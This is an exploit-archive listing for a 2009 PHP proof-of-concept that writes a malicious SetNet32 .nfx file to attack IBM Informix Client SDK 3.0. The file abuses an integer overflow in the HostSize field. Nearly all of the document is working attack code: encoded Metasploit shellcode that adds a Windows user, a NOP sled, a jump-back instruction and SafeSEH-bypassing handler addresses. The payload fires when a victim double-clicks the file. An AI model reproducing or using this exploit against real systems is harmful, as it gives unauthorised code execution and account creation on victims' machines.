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IBM Informix Client SDK 3.0 nfx file integer overflow exploit
============================================================= IBM Informix Client SDK 3.0 nfx file integer overflow exploit ============================================================= # Title: IBM Informix Client SDK 3.0 nfx file integer overflow exploit # CVE-ID: () # OSVDB-ID: () # Author: bruiser # Published: 2009-10-05 # Verified: yes view source print? <?php /* IBM Informix Client SDK 3.0 SetNet32 File (.nfx) Hostsize integer overflow exploit (2k3 sp0) by Nine:Situations:Group::bruiser site: http://retrogod.altervista.org/ vulnerable packages: IBM Informix Client SDK 3.0, IBM Informix Connect Runtime 3.x, possibly other products carrying the setnet32 utility. User-supplied value for the Hostsize field results in an integer overflow and subsequently a complete stack smash by passing an overlong string to the HostList one allowing an attacker to execute arbitrary code. All modules in memory are compiled with /SAFESEH=on but it's still possible to execute arbitrary code by passing a certain trusted handler from kernel32.dll. We fall in a more convenient condition with eip overwritten: now ebp register points to a portion of our buffer. So this is context-dependent, try aganst another OS. Other attacks are possible through the ProtoSize or ServerSize fields. It works by double clicking on the resulting .nfx file. */ # windows/adduser - 436 bytes # http://www.metasploit.com # Encoder: x86/alpha_mixed # EXITFUNC=seh, USER=sun, PASS=tzu $_scode= "\x89\xe1\xd9\xc2\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x45\x50" . "\x43\x30\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x45\x55" . "\x43\x48\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" . "\x51\x4f\x47\x50\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x46\x54" . "\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" . "\x4d\x54\x49\x50\x44\x34\x44\x47\x49\x51\x49\x5a\x44\x4d" . "\x45\x51\x48\x42\x4a\x4b\x4b\x44\x47\x4b\x51\x44\x47\x54" . "\x44\x44\x44\x35\x4b\x55\x4c\x4b\x51\x4f\x47\x54\x45\x51" . "\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" . "\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" . "\x4a\x4b\x4c\x49\x51\x4c\x47\x54\x45\x54\x48\x43\x51\x4f" . "\x46\x51\x4c\x36\x43\x50\x46\x36\x42\x44\x4c\x4b\x51\x56" . "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x44\x30\x45\x4c" . "\x4e\x4d\x4c\x4b\x45\x38\x44\x48\x4b\x39\x4a\x58\x4c\x43" . "\x49\x50\x43\x5a\x50\x50\x43\x58\x4c\x30\x4d\x5a\x45\x54" . "\x51\x4f\x45\x38\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x51\x47" . "\x4b\x4f\x4d\x37\x45\x33\x42\x4d\x45\x34\x46\x4e\x45\x35" . "\x44\x38\x43\x55\x51\x30\x46\x4f\x45\x33\x47\x50\x42\x4e" . "\x42\x45\x43\x44\x47\x50\x44\x35\x42\x53\x43\x55\x42\x52" . "\x47\x50\x43\x43\x43\x45\x42\x4e\x51\x30\x43\x44\x43\x4a" . "\x43\x45\x51\x30\x46\x4f\x51\x51\x47\x34\x47\x34\x51\x30" . "\x46\x46\x47\x56\x47\x50\x42\x4e\x45\x35\x43\x44\x51\x30" . "\x42\x4c\x42\x4f\x43\x53\x43\x51\x42\x4c\x42\x47\x42\x52" . "\x42\x4f\x42\x55\x42\x50\x51\x30\x51\x51\x45\x34\x42\x4d" . "\x43\x59\x42\x4e\x45\x39\x43\x43\x42\x54\x43\x42\x43\x51" . "\x43\x44\x42\x4f\x44\x32\x42\x53\x47\x50\x42\x53\x44\x35" . "\x42\x4e\x47\x50\x46\x4f\x47\x31\x50\x44\x47\x34\x45\x50" . "\x41\x41"; $____boom = "[Setnet32]\r\n". "Format=\x203.00\x203.00.TC1\x20\x20\r\n". "[ENVIRONMENT]\r\n". "CC8BITLEVEL=\r\n". "CLIENT_LOCALE=EN_US.8859-1\r\n". "COLLCHAR=\r\n". "CONRETRY=\r\n". "CONTIME=\r\n". "DB2CLI=\r\n". "DBANSIWARN=\r\n". "DBDATE=\r\n". "DBLANG=EN_US.CP1252\r\n". "DBMONEY=\r\n". "DBNLS=\r\n". "DBPATH=\r\n". "DBTEMP=\r\n". "DBTIME=\r\n". "DELIMIDENT=n\r\n". "ESQLMF=\r\n". "FET_BUF_SIZE=\r\n". "BIG_FET_BUF_SIZE=\r\n". "IFX_MULTIPREPSTMT=\r\n". "GL_DATE=\r\n". "GL_DATETIME=\r\n". "IFX_EXTDIRECTIVES=\r\n". "IFX_XASTDCOMPLIANCE_XAEND=\r\n". "IFX_DIRTY_WAIT=\r\n". "INFORMIXDIR=C:\Program\x20Files\IBM\Informix\Connect\\r\n". "INFORMIXSERVER=aaaaaaaaaaaa\r\n". "INFORMIXSQLHOSTS=\r\n". "LANG=\r\n". "LC_COLLATE=\r\n". "LC_CTYPE=\r\n". "LC_MONETARY=\r\n". "LC_NUMERIC=\r\n". "LC_TIME=\r\n". "DBALSBC=\r\n". "DBAPICODE=\r\n". "DBASCIIBC=\r\n". "DBCENTURY=\r\n". "DBCODESET=\r\n". "DBCONNECT=\r\n". "DBCSCONV=\r\n". "DBCSOVERRIDE=\r\n". "DBCSWIDTH=\r\n". "DBFLTMSK=\r\n". "DBMONEYSCALE=\r\n". "DBSS2=\r\n". "DBSS3=\r\n". "IFX_AUTOFREE=\r\n". "IFX_DEFERRED_PREPARE=\r\n". "NODEFDAC=\r\n". "OPTMSG=\r\n". "OPTOFC=\r\n". "IFX_USE_PREC_16=\r\n". "IFX_PAD_VARCHAR=\r\n". "NOZEROMDY=\r\n". "BLANK_STRINGS_NOT_NULL=\r\n". "IFX_FLAT_UCSQ=\r\n". "[Size]\r\n". "CLIENT_LOCALE=12\r\n". "DB_LOCALE=0\r\n". "NumOfHosts=999\r\n". "NumOfServers=1\r\n". "NumOfProtocols=9\r\n". "ServerSize=16\r\n". "HostSize=1517\r\n". //boom!! "ProtoSize=16\r\n". "[Lists]\r\n". "INFORMIXSERVERLIST=aaaa;\r\n". "HostList=". str_repeat("\x90",312). $_scode. str_repeat("\x90",1115 - strlen($_scode)). "\xe9\x01\xfb\xff\xff". //jmp back to shellcode "\x90\x90\x90\x90". //junk, this is overwritten in some way "\x87\x35\xe4\x77". //pointer to the next SEH record "\x87\x35\xe4\x77". //SE handler, a registered one from kernel32.dll "\xC0\xF0\x03\xF1". //do not touch "\x41\x41\x41\x41". //do not touch "\x9b\x71\xd8\x77". //call ebp, user32.dll and further jno short str_repeat("\x9b\x71\xd8\x77",64). //do not touch ";\r\n". "PROTOCOLLIST=olsoctcp;onsoctcp;olsocspx;onsocspx;sesoctcp;sesocspx;seipcpip;olipcnmp;onipcnmp;\r\n". "[__infx_sqlhost_aaaaaaaaaaaaaaa]\r\n". "HOST=\r\n". "SERVICE=1527\r\n". "PROTOCOL=olsoctcp\r\n". "OPTIONS=\r\n". "[__infx_host_192.168.0.1]\r\n". "USER=informix\r\n". "PASS=EP\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20". "\x200\x20\x200\x20\x200\x20\x200\x20\x200\r\n". "AskPassword=P\r\n". "[__infx_host_192.168.0.2]\r\n". "USER=aaaa\r\n". "PASS=EP\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x2049\x20\x200\x20\x200\x20\x20". "0\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\r\n". "AskPassword=P\r\n". "[__infx_host_192.168.0.3]\r\n". "USER=informix\r\n". "PASS=EP\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x20". "0\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\x20\x200\r\n". "AskPassword=P\r\n". "\x00"; file_put_contents("9sg.nfx",$____boom); ?> # 0day.today [2024-12-25] #